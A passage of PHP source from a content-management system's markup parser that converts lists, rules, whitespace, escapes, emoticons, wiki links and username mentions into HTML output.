($list_type!='a'))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tlist($temp_tpl,$old_list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$list_indent=1;\n\t\t\t\t\t\t\t$found_list=true;\n\t\t\t\t\t\t\t$scan_pos=$pos;\n\t\t\t\t\t\t\t$list_type='a';\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif ($next==' ')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($old_list_indent!=0) && ($list_type!='ul'))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tlist($temp_tpl,$old_list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$scan_pos=$pos-1;\n\t\t\t\t\t\t\t$list_indent=0;\n\t\t\t\t\t\t\twhile ($scan_pos<$len)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$scan_next=$comcode[$scan_pos];\n\t\t\t\t\t\t\t\tif (($scan_next=='-') && ($scan_pos+1<$len) && ($comcode[$scan_pos+1]==' '))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$found_list=true;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($scan_next==' ') ++$list_indent; else break;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t++$scan_pos;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!$found_list) $list_indent=0; else $list_type='ul';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// Rule?\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t\t\t$old_list_indent=0;\n\n\t\t\t\t\t\t\tif (($next=='-') && (!$just_title))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$scan_pos=$pos;\n\t\t\t\t\t\t\t\t$found_rule=true;\n\t\t\t\t\t\t\t\twhile ($scan_pos<$len)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$scan_next=$comcode[$scan_pos];\n\t\t\t\t\t\t\t\t\tif ($scan_next!='-')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif ($scan_next==chr(10))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t++$NUM_LINES;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t} else $found_rule=false;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t++$scan_pos;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif ($found_rule)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$_temp_tpl=do_template('COMCODE_TEXTCODE_LINE');\n\t\t\t\t\t\t\t\t\t$tag_output->attach($_temp_tpl);\n\t\t\t\t\t\t\t\t\t$pos=$scan_pos+1;\n\t\t\t\t\t\t\t\t\t$just_ended=true;\n\t\t\t\t\t\t\t\t\t$none_wrap_length=0;\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// List handling\n\t\t\t\t\t\tif (($list_indent==$old_list_indent) && ($old_list_indent!=0))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp_tpl='</li>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfor ($i=$list_indent;$i<$old_list_indent;++$i) // Close any ended\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp_tpl='</li>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t$temp_tpl=($list_type=='ul')?'</ul>':'</ol>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (($list_indent<$old_list_indent) && ($list_indent!=0)) // Go down one final level, because the list tag must have been nested within an li tag (we closed open li tags recursively except for the final one)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp_tpl='</li>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($found_list)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ((($list_indent-$old_list_indent)>1) && (!$lax))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn comcode_parse_error($preparse_mode,array('CCP_LIST_JUMPYNESS'),$pos,$comcode,$check_only);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tfor ($i=$old_list_indent;$i<$list_indent;++$i) // Or open any started\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tswitch ($list_type)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tcase 'ul':\n\t\t\t\t\t\t\t\t\t\tif ($i<$list_indent-1) $temp_tpl='<ul><li>'; else $temp_tpl='<ul>';\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\tcase '1':\n\t\t\t\t\t\t\t\t\t\tif ($i<$list_indent-1) $temp_tpl='<ol type=\"1\"><li>'; else $temp_tpl='<ol type=\"1\">';\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\tcase 'a':\n\t\t\t\t\t\t\t\t\t\tif ($i<$list_indent-1) $temp_tpl='<ol type=\"a\"><li>'; else $temp_tpl='<ol type=\"a\">';\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$temp_tpl='<li>';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t$just_ended=true;\n\t\t\t\t\t\t\t$none_wrap_length=0;\n\t\t\t\t\t\t\t$next='';\n\t\t\t\t\t\t\t$pos=$scan_pos+2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif (($next==chr(10)) && ($white_space_area) && ($print_mode) && ($list_indent==0)) // We might need to put some queued up stuff here: when we print, we can't float thumbnails\n\t\t\t\t\t{\n\t\t\t\t\t\t$tag_output->attach($queued_tempcode);\n\t\t\t\t\t\t$queued_tempcode=new ocp_tempcode();\n\t\t\t\t\t}\n\t\t\t\t\tif (($next==chr(10)) && ($white_space_area) && (!$in_semihtml) && ((!$just_ended) || ($semiparse_mode) || (substr($comcode,$pos,3)==' - '))) // Hard-new-lines\n\t\t\t\t\t{\n\t\t\t\t\t\t++$NUM_LINES;\n\t\t\t\t\t\t$line_starting=true;\n\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t$just_new_line=true;\n\t\t\t\t\t\t$none_wrap_length=0;\n\t\t\t\t\t\tif (($list_indent==0) && (!$just_ended))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temp_tpl='<br />';\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$just_new_line=false;\n\n\t\t\t\t\t\tif (($next==' ') && ($white_space_area) && (!$in_semihtml))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($line_starting) || (($pos>1) && ($comcode[$pos-2]==' '))) // Hard spaces\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$next='&nbsp;';\n\t\t\t\t\t\t\t\t++$none_wrap_length;\n\t\t\t\t\t\t\t} else $none_wrap_length=0;\n\t\t\t\t\t\t\t$continuation.=($mindless_mode && $in_code_tag)?escape_html($next):$next;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif (($next==\"\\t\") && ($white_space_area) && (!$in_semihtml))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t$tab_tpl=do_template('COMCODE_TEXTCODE_TAB');\n\t\t\t\t\t\t\t$_tab_tpl=$tab_tpl->evaluate();\n\t\t\t\t\t\t\t$none_wrap_length+=strlen($_tab_tpl);\n\t\t\t\t\t\t\t$tag_output->attach($tab_tpl);\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($next==' ') || ($next==\"\\t\") || ($just_ended)) $none_wrap_length=0; else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ((!is_null($wrap_pos)) && ($none_wrap_length>=$wrap_pos) && ((strtolower(get_charset())!='utf-8') || (preg_replace(array('#[\\x09\\x0A\\x0D\\x20-\\x7E]#','#[\\xC2-\\xDF][\\x80-\\xBF]#','#\\xE0[\\xA0-\\xBF][\\x80-\\xBF]#','#[\\xE1-\\xEC\\xEE\\xEF][\\x80-\\xBF]{2}#','#\\xED[\\x80-\\x9F][\\x80-\\xBF]#','#\\xF0[\\x90-\\xBF][\\x80-\\xBF]{2}#','#[\\xF1-\\xF3][\\x80-\\xBF]{3}#','#\\xF4[\\x80-\\x8F][\\x80-\\xBF]{2}#'),array('','','','','','','',''),$continuation)=='')) && ($textual_area) && (!$in_semihtml))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t$temp_tpl='<br />';\n\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t\t\t$none_wrap_length=0;\n\t\t\t\t\t\t\t\t} elseif ($textual_area) ++$none_wrap_length;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$line_starting=false;\n\t\t\t\t\t\t\t$just_ended=false;\n\n\t\t\t\t\t\t\t$differented=false; // If somehow via lookahead we've changed this to HTML and thus won't use it in raw form\n\n\t\t\t\t\t\t\t// Variable lookahead\n\t\t\t\t\t\t\tif ((!$in_code_tag) && (($next=='{') && (isset($comcode[$pos])) && (($comcode[$pos]=='$') || ($comcode[$pos]=='+') || ($comcode[$pos]=='!'))))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ($comcode_dangerous)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ((!$in_code_tag) && ((!$semiparse_mode) || (in_tag_stack($tag_stack,array('url','img','flash')))))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\tif ($comcode[$pos]=='+')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$p_end=$pos+5;\n\t\t\t\t\t\t\t\t\t\t\twhile ($p_end<$len)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$p_portion=substr($comcode,$pos-1,$p_end-($pos-1)+5);\n\t\t\t\t\t\t\t\t\t\t\t\tif (substr_count($p_portion,'{+START')==substr_count($p_portion,'{+END')) break;\n\t\t\t\t\t\t\t\t\t\t\t\t$p_end++;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$p_len=1;\n\t\t\t\t\t\t\t\t\t\t\twhile ($pos+$p_len<$len)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$p_portion=substr($comcode,$pos-1,$p_len);\n\t\t\t\t\t\t\t\t\t\t\t\tif (substr_count(str_replace('{',' { ',$p_portion),'{')==substr_count(str_replace('}',' } ',$p_portion),'}')) break; // str_replace is to workaround a Quercus bug #4494\n\t\t\t\t\t\t\t\t\t\t\t\t$p_len++;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$p_len--;\n\t\t\t\t\t\t\t\t\t\t\t$p_portion=substr($comcode,$pos+$p_len,$p_end-($pos+$p_len));\n\t\t\t\t\t\t\t\t\t\t\trequire_code('tempcode_compiler');\n\t\t\t\t\t\t\t\t\t\t\t$ret=template_to_tempcode(substr($comcode,$pos-1,$p_len+1).'{DIRECTIVE_EMBEDMENT}'.substr($comcode,$p_end,6));\n\t\t\t\t\t\t\t\t\t\t\t$attaches_before=count($COMCODE_ATTACHMENTS[$pass_id]);\n\t\t\t\t\t\t\t\t\t\t\t$ret->singular_bind('DIRECTIVE_EMBEDMENT',comcode_text_to_tempcode($p_portion,$source_member,$as_admin,$wrap_pos,$pass_id,$connection,$semiparse_mode,$preparse_mode,$in_semihtml,$structure_sweep,$check_only,$highlight_bits,$on_behalf_of_member));\n\t\t\t\t\t\t\t\t\t\t\tfor ($attach_inspect=$attaches_before;$attach_inspect<count($COMCODE_ATTACHMENTS[$pass_id]);$attach_inspect++)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$COMCODE_ATTACHMENTS[$pass_id][$attach_inspect]['marker']+=$pos+$p_len;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$pos=$p_end+6;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\telseif ($comcode[$pos]=='!')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$p_len=$pos;\n\t\t\t\t\t\t\t\t\t\t\t$balance=1;\n\t\t\t\t\t\t\t\t\t\t\twhile (($p_len<$len) && ($balance!=0))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif ($comcode[$p_len]=='{') $balance++; elseif ($comcode[$p_len]=='}') $balance--;\n\t\t\t\t\t\t\t\t\t\t\t\t$p_len++;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$ret=new ocp_tempcode();\n\t\t\t\t\t\t\t\t\t\t\t$less_pos=$pos-1;\n\t\t\t\t\t\t\t\t\t\t\t$ret->parse_from($comcode,$less_pos,$p_len);\n\t\t\t\t\t\t\t\t\t\t\t$pos=$p_len;\n\t\t\t\t\t\t\t\t\t\t\tif (($ret->parameterless(0)) && ($pos<$len)) // We want to take the lang string reference as Comcode if it's a simple lang string reference with no parameters\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#\\{\\!([\\w\\d\\_\\:]+)(\\}|$)#U',substr($comcode,$less_pos,$p_len-$less_pos),$matches)!=0) // Hacky code to extract the lang string name\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$temp_lang_string=$matches[1];\n\t\t\t\t\t\t\t\t\t\t\t\t\t$ret=comcode_lang_string($temp_lang_string); // Recreate as a Comcode lang string\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$p_len=$pos;\n\t\t\t\t\t\t\t\t\t\t\t$balance=1;\n\t\t\t\t\t\t\t\t\t\t\twhile (($p_len<$len) && ($balance!=0))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif ($comcode[$p_len]=='{') $balance++; elseif ($comcode[$p_len]=='}') $balance--;\n\t\t\t\t\t\t\t\t\t\t\t\t$p_len++;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$ret=new ocp_tempcode();\n\t\t\t\t\t\t\t\t\t\t\t$less_pos=$pos-1;\n\t\t\t\t\t\t\t\t\t\t\t$ret->parse_from($comcode,$less_pos,$p_len);\n\t\t\t\t\t\t\t\t\t\t\t$pos=$p_len;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\tif (($pos<=$len) || (!$lax))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($ret);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (($comcode[$pos]=='$') && ($pos<$len-2) && ($comcode[$pos+1]==',') && (strpos($comcode,'}',$pos)!==false))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$pos=strpos($comcode,'}',$pos)+1;\n\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// Escaping of comcode tag starts lookahead\n\t\t\t\t\t\t\tif (($next=='\\\\') && (!$in_code_tag)) // We are changing \\[ to [ with the side-effect of blocking a tag start. To get \\[ literal, we need the symbols \\\\[... and add extra \\-pairs as needed. We are only dealing with \\ and [ (update: and now {) here, it's not a further extended means of escaping.\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (($pos!=$len) && (($comcode[$pos]=='\"') || (substr($comcode,$pos-1,6)=='&quot;')))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($semiparse_mode) $continuation.='\\\\';\n\t\t\t\t\t\t\t\t\tif ($comcode[$pos]=='\"')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$continuation.=$mindless_mode?'&quot;':'\"';\n\t\t\t\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$continuation.='&quot;';\n\t\t\t\t\t\t\t\t\t\t$pos+=6;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telseif (($pos!=$len) && ($comcode[$pos]=='['))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($semiparse_mode) $continuation.='\\\\';\n\t\t\t\t\t\t\t\t\t$continuation.='[';\n\t\t\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telseif (($pos!=$len) && ($comcode[$pos]=='{'))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($semiparse_mode) $continuation.='\\\\';\n\t\t\t\t\t\t\t\t\t$continuation.='{';\n\t\t\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telseif (($pos==$len) || ($comcode[$pos]=='\\\\'))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($semiparse_mode) $continuation.='\\\\';\n\t\t\t\t\t\t\t\t\t$continuation.='\\\\';\n\t\t\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (!$differented)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ((($textual_area) || ($in_semihtml)) && (trim($next)!='') && (!$wml))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// Emoticon lookahead\n\t\t\t\t\t\t\t\t\tforeach ($smilies as $smiley=>$imgcode)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif ($in_semihtml) $smiley=' '.$smiley.' ';\n\n\t\t\t\t\t\t\t\t\t\tif ($next==$smiley[0]) // optimisation\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (substr($comcode,$pos-1,strlen($smiley))==$smiley)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($smiley)-1;\n\t\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_emoticon($imgcode));\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif ((trim($next)!='') && (!$in_code_tag) && (!$differented))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// CEDI pages\n\t\t\t\t\t\t\t\tif (($pos<$len) && ($next=='[') && ($pos+1<$len) && ($comcode[$pos]=='[') && (!$semiparse_mode) && (addon_installed('cedi')))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\t\t\tif (preg_match('#^\\[([^\\[\\]]*)\\]\\]#',substr($comcode,$pos,200),$matches)!=0)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$cedi_page_name=$matches[1];\n\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t$hash_pos=strpos($cedi_page_name,'#');\n\t\t\t\t\t\t\t\t\t\tif ($hash_pos!==false)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$jump_to=substr($cedi_page_name,$hash_pos+1);\n\t\t\t\t\t\t\t\t\t\t\t$cedi_page_name=substr($cedi_page_name,0,$hash_pos);\n\t\t\t\t\t\t\t\t\t\t} else $jump_to='';\n\t\t\t\t\t\t\t\t\t\t$cedi_page_url=build_url(array('page'=>'cedi','type'=>'misc','find'=>$cedi_page_name),get_module_zone('cedi'));\n\t\t\t\t\t\t\t\t\t\tif ($jump_to!='')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$cedi_page_url->attach('#'.$jump_to);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_CEDI_LINK',array('_GUID'=>'ebcd7ba5290c5b2513272a53b4d666e5','URL'=>$cedi_page_url,'TEXT'=>$cedi_page_name)));\n\t\t\t\t\t\t\t\t\t\t$pos+=strlen($matches[1])+3;\n\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Usernames\n\t\t\t\t\t\t\t\tif (($pos<$len) && ($next=='{') && ($pos+1<$len) && ($comcode[$pos]=='{') && (!$in_code_tag) && (!$semiparse_mode))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\t\t\tif (preg_match('#^\\{([^\"{}&\\'\\$<>]+)\\}\\}#',substr($comcode,$pos,80),$matches)!=0)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$username=$matches[1];\n\n\t\t\t\t\t\t\t\t\t\tif ($username[0]=='?')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$username_info=true;\n\t\t\t\t\t\t\t\t\t\t\t$username=substr($username,1);\n\t\t\t\t\t\t\t\t\t\t} else $username_info=false;\n\t\t\t\t\t\t\t\t\t\t$this_member_id=$GLOBALS['FORUM_DRIVER']->get_member_from_username($username);\n\t\t\t\t\t\t\t\t\t\tif ((!is_null($this_member_id)) && (!is_guest($this_member_id)))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\n\t\t\t\t\t\t\t\t\t\t\t$poster_url=$GLOBALS['FORUM_DRIVER']->member_profile_url($this_member_id,false,true);\n\t\t\t\t\t\t\t\t\t\t\tif ((get_forum_type()=='ocf') && ($username_info))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\trequire_lang('ocf');\n\t\t\t\t\t\t\t\t\t\t\t\trequire_code('ocf_members2');\n\t\t\t\t\t\t\t\t\t\t\t\t$details=ocf_show_member_box($this_member_id);\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('HYPERLINK_TOOLTIP',array('_GUID'=>'d8f4f4ac70bd52b3ef9ee74ae9c5e085','TOOLTIP'=>$details,'CAPTION'=>$username,'URL'=>$poster_url,'NEW_WINDOW'=>false)));\n\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(hyperlink($poster_url,$username));\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($matches[1])+3;\n\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (($textual_area) && (!$in_code_tag) && (trim($next)!='') && (!$differented))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// Shortcut lookahead\n\t\t\t\t\t\t\t\tif (!$differented)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (($in_semihtml) && (substr($comcode,$pos-1,3)=='-->')) // To stop shortcut interpretation\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$continuation.='-->';\n\t\t\t\t\t\t\t\t\t\t$pos+=2;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tforeach ($shortcuts as $code=>$replacement)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (($next==$code[0]) && (substr($comcode,$pos-1,strlen($code))==$code))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) 